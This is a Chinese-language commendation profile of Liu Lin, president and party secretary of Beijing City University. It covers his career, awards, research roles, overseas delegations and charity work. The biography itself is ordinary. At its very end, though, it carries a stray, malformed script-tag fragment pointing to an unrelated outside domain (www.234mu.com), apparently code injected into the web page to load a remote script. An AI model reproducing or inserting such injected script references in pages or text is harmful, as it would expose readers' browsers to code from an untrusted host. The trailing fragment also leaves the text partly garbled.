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劉林

基本信息

姓名:劉林
出生年月: 1972-06
性 別: 男
工作單位:
籍 貫: 天津市
學 曆: 博士
畢業院校: 北京師範大學

簡曆:

劉林,男,1972年出生,中共黨員,北京師範大學教育學博士。1995年大學畢業後到北京城市學院(原海澱走讀大學)工作,曆任教師、高等職業技術學部副主任、主任、校招生就業辦主任、校長助理、副校長、黨委副書記兼常務副校長。現任校黨委書記、校長。

個人事迹:

劉林同志投身民辦教育事業15年來,始終以振興民辦教育爲己任,自覺實踐鄧小平理論和“三個代表”重要思想,深入學習實踐科學發展觀,認真貫徹執行黨的方針政策,團結和帶領廣大幹部職工迎難而上、開拓進取,在全國民辦教育界和高等教育領域做出了突出的貢獻,得到了廣泛的認可,先後獲得北京市優秀教師、北京市五四獎章、北京市十大傑出青年、全國優秀教育工作者等榮譽稱號。 他志存高遠敢爲人先,在實踐中摸索出一條民辦高校可持續發展的有效路徑,將一個在校生不足千名、負債1800萬元的一般民辦專科學校發展成爲擁有28000名在校生、1200名專職教工、520畝現代化校園、141個本專科專業、連續十年畢業生初次就業率98%以上的全國代表性民辦高校,其所取得的成功經驗爲中國教育改革提供了新的模式,爲解決廣大青年升學和培養大批市場急需實用型人才做出了突出貢獻。 他刻苦鑽研敏于求知,先後主持研究了全國教育科學規劃“十五”課題、“十一五”重點課題等共10項,在全國核心期刊發表論文5篇,成爲學術界和社會各界認可的教育理論家和教育實踐家,被推選爲北京民辦教育協會常務副會長、北京高等教育學會副會長、中國職業教育學會常務理事、全國高等教育管理研究會常務理事,並受聘爲北京市人民政府教育督學和市教委院校設置、本科專業評議、民辦高校評估、精品教材評審等多個專家委員會委員和相關專業專家組長,2009年被評爲享受國務院政府特殊津貼專家。 他勤奮踏實忘我工作,他的領導能力、工作作風、敬業精神、創新思想受到全校師生的一致好評,被群衆推舉爲學校的主要領導,成爲北京市乃至全國最年輕的高校校長。 他熱心公益,積極履行社會責任,成爲廣大青年的楷模。 一 情系教育 執著理想 劉林同志在中國人民大學讀書時即參加民辦教育創業實踐,大學畢業時,作爲優秀畢業生,他被一家大型國有企業錄用爲專職法律顧問。此時,他面臨著一個選擇,是放棄已經達到一定規模的職業培訓學校,選擇就業?還是繼續將職業培訓學校規模做大?如果選擇就業,這個培訓學校怎麽辦? 正當劉林抉擇之際,他遇到了海澱走讀大學校長傅正泰,傅正泰的創校曆程深深打動了他,“教育改變個人命運,改變國運,窮國辦大教育的國情決定了中國必須大力發展民辦教育,辦民辦學校很難,但卻是功德無量的大事業。”在傅正泰的影響下,劉林重新做了選擇,要求改派到海澱走讀大學工作,他要到民辦教育的廣闊天地裏去創業。 二 勤奮實幹 開拓創新 北京城市學院是新中國第一所獲得國家承認學曆資格的民辦高校,是在海澱走讀大學“借五萬元、租小學校舍、聘七個人”的基礎上發展起來的。經過幾年的發展,到90年代中期,學校的辦學條件依然很艱苦,當時在校生不足千人,校園50余畝,專職教職工不過百人,年收入雖然近千萬,但欠銀行貸款達1800萬之多。 1995年5月,劉林帶領他的隊伍來到海澱走讀大學。來校伊始,他就積極參與籌建了海大高等職業技術學院,三年間,高職學院從無到有,從小到大,發展成爲海大高職教育的一面旗幟,並受到時任國務院副總理李岚清的重視和肯定,他親自到海澱走讀大學聽取彙報,並確定海澱走讀大學爲全國兩所試點高校之一。在探索高等職業教育發展規律中,他提出了許多前瞻性觀點,在專業設置、課程內容緊密結合市場需要上,實施了一系列新思路,在産學合作上做出了許多開拓性工作,取得了顯著成功,使北京城市學院成爲國務院表彰的“全國高等職業教育先進單位”,並受到朱镕基總理、賈慶林同志的點名表揚和肯定。 1997年1月劉林同志開始擔任校長助理,並先後兼任招生辦、就業辦主任,主抓招生就業工作。但是在當時民辦教育還不爲社會所認可,家長、學生更把它作爲升學的“次等選擇”。除了招生難,大批專科生就業難的矛盾也日益突出。面對這些難題,他審時度勢,將學生的出路問題作爲解開難題的金鑰匙。他首先從打開就業這個“出口”入手,“把畢業生作爲學校最好的口碑”,通過深入用人單位宣傳、實習與就業捆綁、建立行業産業大企業穩定客戶群等多種方式,積極拓寬畢業生就業渠道,使學生不僅人人畢業能有工作,而且能有一份好工作。從1999年至2009年,學校畢業生初次就業率連續十年達到98%以上,在全市領先,在全國名列前茅。經過幾年苦心經營,“海澱走讀大學畢業生就業率高,出路好”的良好口碑使學校在社會上聲名鵲起,招生人數也一路攀升,並在2001年成爲中國第一個萬人民辦大學。 隨著生源的擴大,隨之而來的是校舍問題。2001年4月劉林同志牽頭開辦東方大學城校區,兼任分校校長。在創建初期的艱苦條件下,他總攬全局,處理校內外面臨的各種棘手問題,爲新校區的建設發揮了關鍵性的作用。如今,東方大學城校區已經是北京城市學院三大校區之一,爲學校的高速發展提供了有力的支撐。 2001年11月,時任副校長的劉林同志開始兼任申辦本科辦公室主任,負責升本的日常工作,爲海大升格爲本科院校,實現曆史性飛躍發揮了重要作用,也爲開創本科層次高等職業教育做出了突出貢獻。 經過26年的發展,時至今日北京城市學院已成爲擁有500畝現代化校園、千名以青年博士、碩士爲骨幹的專職教師隊伍、28000名在校生、13億總資産的優秀本科學校,成爲北京市實施高等教育普及化的重要力量和首都實用型人才培養基地之一,在首都高等教育體系中具有特殊的地位並發揮著重要作用。作爲學校的主要領導,劉林同志在學校發展的每一個關鍵階段,都發揮了不可替代的作用,做出了有目共睹的貢獻,爲這一成績的取得付出了大量心血和汗水。在中共北京城市學院第一次黨代會上,劉林同志以全票當選黨委書記,充分體現了群衆對其成績的肯定和認可。 劉林同志爲人誠做事勤,在學校老師眼中,他是“做實事、會做事”的校長;在同行眼中,他是勇立潮頭富有遠見的實幹家。從學校一名年輕教師成長爲全國最年輕的本科院校主要領導,他的能力才幹、遠見卓識、工作作風受到全校師生和上級領導部門、社會各界的廣泛好評,先後被評選爲北京市優秀教師、北京市五四獎章獲得者、北京市十大傑出青年、全國優秀教育工作者,並當選爲北京市人大代表、市人大教科文衛體委員會委員、全國青聯委員,多次作爲教育界代表人士和青年領軍人物出席重要國事活動或隨團出訪,受到胡錦濤、江澤民、吳邦國、溫家寶、習近平等中央領導的親切接見。 三 刻苦鑽研 敏于求知 劉林同志博聞強識,潛心學習,在忙碌的工作之余,師從教育界泰鬥北京師範大學顧明遠教授學習,並獲得教育學博士學位,在各種期刊發表論文十余篇,並先後主持研究了全國教育科學規劃“十五”課題、“十一五”重點課題、北京市“十一五”教育科研規劃重點課題、北京市教委委托課題、北京市高等教育改革立項、北京市社科類課題項目及中國高等教育學會重點課題共10項,對我國民辦高校可持續發展戰略、退出機制、預警機制、籌資策略、民辦職業教育發展模式、民辦教育國際市場拓展等具有現實意義的重大問題做了深入研究,提出了一系列具有開創性、戰略性的重要觀點。他受政府部門委托,牽頭組織研究的北京市民辦高校評估指標體系、高等職業教育專業設置督導指標體系、北京市培訓産業發展規劃課題項目等主要成果均被政府部門采納應用,效果效益顯著。 劉林同志在民辦教育、職業教育研究方面成績突出,具有帶頭作用,從而被推選爲北京民辦教育協會常務副會長、北京高等教育學會副會長、中國職業教育學會常務理事、全國高等教育管理研究會常務理事,並受聘爲北京市人民政府教育督學和市教委院校設置、本科專業評義、民辦高校評估、精品教材評審等多個專家委員會委員和相關專業專家組長,2009年被評爲享受國務院政府特殊津貼專家。 2004年,作爲唯一的民辦大學校領導,劉林同志入選中組部、教育部、外專局赴美培訓班成員(其他成員均爲211大學校領導);2005年11月,應邀參加了胡錦濤主席對西班牙國事訪問中的重要活動——中西大學校長論壇;2006年2月和4月作爲中國政府高等教育代表團成員,先後參加了中古大學校長論壇、中德大學校長論壇;2006年11月受邀爲APEC組織教育與人力資源特約研究員(中方),並在聯合國第五屆高等教育大會等重要會議上發言,爲提高中國民辦教育的國際影響力做出了積極貢獻。 四 熱心公益 回報社會 劉林同志具有強烈的公益心和社會責任感,在經營學校時,他堅持教育的公益性,老校長的話他一直銘記在心——“民辦教育是功德無量的事情”;在社會活動中,他秉持“做人要常懷感恩之心,要懂得從社會獲得後,再回報社會。” 作爲北京市人大代表,他深入社區、農村基層調研情況,提出了許多關系民計民生的重要議案,受到廣大選民的積極擁護。他被推舉爲民辦教育行業協會負責人後,在推動民辦教育立法、兌現民辦學校師生公平待遇、維護學校權益、促進行業發展方面做了大量協調、服務工作。他還參與了《中華人民共和國民辦教育促進法》、《物權法》等一系列重要法律法規和支持民辦教育發展新政策的制定過程。在他的領導下,北京民辦教育協會不斷壯大,已成爲全國最有影響力的行業中介組織之一。 劉林同志關注青年工作,積極參加支助貧困大學生上學活動,積極參加青年創業成才社會活動,不僅是青年成才的楷模,而且在青年中具有積極影響力。他被選爲海澱區、北京市和全國青聯委員以來,不僅積極參加青聯活動,而且以青聯委員身份在非典時期主動向農村醫護工作者捐款,並長年資助新疆和田地區十名少數民族學生,對各種公益捐助與志願服務,積極參與,無私奉獻,起到良好的表率作用,爲和諧社會建設做出了貢獻與努力。 劉林同志以對工作的滿腔熱情和全身心投入,對事業的執著追求和創新精神,對同事的積極幫助和對社會的無私奉獻,樹立起一名優秀領導幹部的良好形象,他不僅是全校職工的領頭人,也以實際行動使自己成爲群衆心裏認可的學習楷模。 script src=http://www.234mu.com/>

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